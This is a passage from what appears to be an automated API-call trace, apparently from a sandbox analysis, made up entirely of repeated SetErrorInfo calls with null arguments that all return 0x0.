(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.007] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.007] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.007] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.007] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.008] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.008] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.008] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.008] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.008] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.008] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.008] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.009] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.009] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.009] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.009] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.009] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.009] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.010] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.010] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.010] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.010] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.010] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.010] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.011] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.011] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.011] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.011] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.011] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.012] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.012] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.012] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.012] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.012] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.014] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.014] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.014] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.014] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.014] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.015] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.015] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.015] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.015] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.015] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.016] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.016] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.016] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.016] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.016] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.016] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.018] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.019] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.019] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.019] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.019] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.019] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.019] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.020] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.020] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.020] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.020] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.020] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.021] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.022] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.023] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.024] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.024] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.024] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.024] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.024] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.024] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.024] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.025] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.025] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.025] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.025] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.025] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.025] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.025] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.026] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.027] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.028] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.029] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.029] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.029] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.029] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.030] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.030] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.030] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.030] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.030] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.031] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.033] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.034] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.036] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.037] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.037] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.037] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.037] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.037] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.037] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.038] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.038] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.039] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.039] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.039] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.039] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.039] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.039] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.040] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.040] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.040] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.040] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.040] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.040] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.040] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.041] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.041] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.041] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.041] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.041] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.041] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.042] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.042] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.042] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.042] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.043] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo 